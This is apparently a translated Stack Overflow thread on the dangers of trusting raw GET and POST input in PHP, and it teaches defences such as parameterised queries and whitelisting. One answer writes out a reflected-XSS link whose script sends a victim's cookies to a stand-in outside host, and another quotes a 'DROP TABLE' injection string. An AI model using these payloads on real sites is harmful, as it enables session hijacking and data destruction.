直接使用GET和POST方法存在哪些漏洞?

11

我想知道在直接使用GET和POST变量时,不进行修剪、添加斜杠函数和mysql转义字符串等操作会有什么漏洞

我的问题是

在处理GET和POST时,还需要注意哪些方面

有哪些类型的攻击,例如SQL注入?


1
通常的规则是“不要相信用户输入”。任何形式的来自用户的输入都需要进行安全检查。 - Jess
8个回答

16

一般而言,不仅限于 GET 和 POST,也包括系统外部的任何数据(包括 Web 应用程序中的 cookie):

几乎所有漏洞都可以归结为“用户可以在你传递其输入的上下文中运行任何代码”。

  • 如果你将其传递给 SQL 数据库,则他们可以运行任何 SQL 语句。
  • 如果你将其传递给 HTML 文档,则他们可以添加任何标记(包括 JavaScript)。
  • 如果你将其传递给系统 shell,则他们可以运行任何系统命令。
  • 如果你打开一个由他们选择的文件,则他们可以打开任何文件。
  • 等等。

你需要考虑你对数据的处理方式。在世界上接受有污点输入时可能出现的问题列表中寻找可能出错的事情并不能产生详尽的列表。

顺便说一下:忘记 addslashes(它不起作用),忘记 mysql_real_escape(使用它太容易犯错误)。使用参数化查询:如何防止 PHP 中的 SQL 注入?


4
不仅是GET、POST和cookies,即使REFERER也可能给你惹麻烦:http://www.hanselman.com/blog/BackToBasicsTrustNothingAsUserInputComesFromAllOver.aspx - Grant Wagner

7

用极少的社交工程就能实现最简单的XSS攻击

假设您有一个简单的PHP应用程序,使用会话跟踪用户。并且它有某种管理员界面,其中具有更高权限的用户可以编辑内容。

再假设您已经作为管理员登录到该网站,并且该应用程序中有一个名为request.php的文件,其中包含以下代码片段:

echo $GET['action'];

有人发现了这个漏洞,构造了以下链接:http://yourapp/request.php?action=document.location.href='http://foreignsite?c='+document.cookie。然后,他将这个链接添加到tinyurl.com,缩短成http://tinyurl.com/x44534之类的形式,并向你发送一封电子邮件,声称“嘿,看看这个,你可能会觉得有用”。你点击链接,tinyurl.com将短链接转换回长链接,重定向浏览器到该链接,request.php愉快地输出查询中的Javascript,浏览器看到它并执行它,结果是运行http://foreignsite的人获取了你所有的cookie。然后,他只需要将这些cookie值插入到他的浏览器中,就可以立即访问你的站点管理员界面,因为他获得了你的会话cookie。这描述了最简单的XSS攻击,它非常简单,可能在实际生活中不起作用,但希望你能理解它的基本原理。

嗯,嗯,SO删除了脚本标签作为XSS防护措施 :)无论如何,操作参数的值应该被脚本标签所包围,这样更有意义。 - Anti Veeranna

1
如果您直接“执行”任何GET或POST变量,而没有通过某种过滤器进行处理,那么您就会面临注入攻击的风险。 SQL注入显然是一个非常常见的情况,但如果您在使用该数据时进行任何类型的eval()(在编程语言中或任何其他数据库或解释性情况下 - 包括将HTML传回浏览器以在客户端上进行解释),那么有经验的攻击者可以制作输入数据,使您的应用程序执行意外操作。

1

GET和POST数据是直接由用户发送的数据。您会得到原始数据,没有在用户和您的程序之间进行任何检查或验证。即使您要验证应该产生数据的表单,攻击者也可以手动制作请求并添加任何他想要的数据。因此,您必须始终将请求数据视为不受信任的用户输入。

有许多攻击依赖于编码人员忘记请求数据是不可信的,但最著名的攻击是SQL注入。SQL注入的根本原因是手动串联字符串构建查询语句,其中一些是不受信任的用户输入。这意味着您要告诉数据库执行不受信任的用户输入。

解决SQL注入的天真解决方案是验证输入,然后将它们合并成一个查询字符串,但这也是不好的做法。您依靠验证逻辑使字符串安全,并且如果您误用它--或逻辑有缺陷--那么您再次面临攻击。

正确的解决方案是将查询与其包含的数据分开。几乎所有的数据库适配器都支持这种方法,如果您的数据库适配器由于某种原因不支持这种方法,则不适合使用。最常见的习语是(没有特定的语言):

myDB.query("select * from Stuff where id=?", [42]);

这将确保(在这样的系统中)参数不会被执行。查询字符串是由完全可信的数据构建的,而不可信的数据是隔离的。最坏的情况是,将此方法应用于不当输入可能导致不正确的数据,而不是不正确的命令。

避免SQL注入的这种方法强调了适用于所有类型请求数据攻击的核心原则:请求数据不属于你,也不安全。处理任何用户输入,包括请求数据时,始终假定它来自具有对您的系统有详细了解的攻击者。这可能看起来有点偏执,但它可以保护您的安全。


1

正如其他人所说,任何和所有用户输入都应被视为恶意的,无论您感觉多么安全。

开发人员在编写代码和进行修改时考虑到保护代码的安全性,而黑客则会在决定攻击代码时考虑破坏它,这可能是今天、明天或两年后。在编写代码时看似完全安全的内容,在某个时间点可能会被利用。

基本上,所有输入都应该被过滤、检查和彻底清理,无论在任何时候使用它们的目的是什么。有人可能会跳过对一段用户输入进行清理,因为“它不会被用于任何可能造成伤害的事情”,然后11个月后,团队中的某个人决定在SQL查询或系统执行调用中使用预先认为已经清理过的数据,结果整个系统崩溃了。

应该做什么:

白名单而不是黑名单 - 知道你期望的输入类型并相应地转换用户数据,ID通常是整数,因此可以将所有用户提交的ID视为整数。 - 知道何时期望少量数据,何时期望大量数据。个人姓名通常比较短且不包含数字,“1'; DROP TABLE customers;”不是真实姓名,您可以不添加反斜杠而知道它不是真实姓名。

然后再黑名单一些 - 对通过白名单的所有数据应用标准转义逻辑,以防万一。

然后进行更多的过滤和检查 - 直到您感到安全为止。



0

它不仅仅是“get”或“post”,而是更多。这完全取决于您编写的支持它们的编程。如果您只提供静态HTML页面,则漏洞不会太多。另一方面,如果您通过get请求设置和修改数据,则漏洞可能是无穷无尽的,只需查看谷歌机器人从使用“get”提交事物的地方清除数据的案例。

所有这些都取决于您使用数据的方式,漏洞是否受到限制。对输入进行消毒。


0

所有的超全局变量都可以被用户代理程序操纵。例如:$_SERVER、$_POST、$_GET等。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接